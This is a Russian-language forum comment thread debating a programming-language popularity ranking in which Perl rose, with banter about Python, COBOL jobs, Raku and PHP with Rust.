Вполне вероятно. Просто когда его начали внедрять в западных учебных заведениях туда поплыло большинство, а перл и не пытались так лютоинавязывать, но он все равно поднимается. Лично для меня перл это то что было до змеиной эпохи в линуксе. Крайне сомневаюсь во вменяемости питонопоклонников - им лишь бы язык был проще, то есть высокоуровневым, так как в их голове полный беспорядок.
Не Пёрл (pearl), а Перл (perl)
Это не просто «рейтинг запросов», это скорее «рейтинг багов и сложности» языка. Хорошо спроектированные и усвояемые языки требуют меньшего количества обращений к поисковикам. Кроме того, публика всё меньше обращается к ним с приходом LLM.Создаётся ощущение, что хорошие языки следует искать где-то во второй полусотне.
Да неужто ассемблер контроллеров серии MC9S12xxx всех ногебнает по усвояемости? Далеко за пределами "поп 100".
Да, вы можите брезжать слюной у рта. но доля рынка вещь упрямая! Python - самый лучший ЯП!
Можно предположить что питон вышел на площадку популярности, стал монстроизироваться, его пихают всюду, потому стал избыточным для простых скриптовых целей. А перл остаётся всё тем же в своей нише.
Вот так вот! Без лютого пиара, пропихивания, раскрутки и проплачивания Perl в очередной раз взлетел! Учитесь, студенты!)
Это "средняя температура по больнице". Люди, вы же знаете, что в программировании разные области применения. Какой смысл сравнивать JavaScript и C++? У них разные задачи. Это сравнение не языков, а объемов областей программирования. Языки надо сравнивать в своих областях.
Хотя, поторопился. Каждый может сравнивать выбирая языки своей области.
С++ и js - ЯП общего назначения, область у них совершенно одинакова.
8( Есть пример вэб-страницы с С++?
Perl или COBOL? Хочу зашибать деньги попивая капучино.
COBOL только в США. И это только поддержка глубокого легаси, которые написали люди уже умершие от старости. Что касается бабла? Хм., будешь в среднем классе среди белых американцев.
Хайп пройдёт - будешь растворимый кофе 3 в 1 пить, вместо зернового! Серьёзно, вы решили именно на опеннет совета спросить? Тут троллинг.
А что там, перл6 поднялся или всё ещё нет? Я бы свалил на перл с питона, но только на перл6. Там REPL есть и можно будет не мучиться с написанием тестов, а то апологеты TDD уже достали в край. И люди вменяемые, знают суть UNIX, а не свитчеры с винды с виндой же в мозгах.
Не поднялся и никогда уже не поднимется.
Ребята, PHP и Раст - супер комбинация! Ну там пых - язычок для эндпойнта рест апи, а раст применим в бэкенде с корутинами await, и эта парочка уделывает js+erlang.
> Ребята, PHP и Раст - супер комбинация!Не, суперкомбинация - пыхтонраст. Просто потому что это - звучит. "Пыхтонрасты, сэр!"
Всем, кто восхваляет перл, есть вопрос: ребята, а вы видели вакансии для перла? Там обычно дикое легаси, перл на десятых ролях, и хотят чтобы погроммист был и шнец и жнец и на дуде игрец. И зарплата не особо.
Вам шашечки или ехать?
Видел. Даже чуть не попал на такую. Если бы попал, был бы сейчас не питонистом, единственный плюс - берут всех и дают возможность выучить что угодно.
Хз, может я конечно и ошибаюсь, проксмокс, который в последнее время становится все популярнее написан в основном на перле. Может от сюда и движение?
Может в перловке синтаксис ещё не сломали ?
А на каком месте html?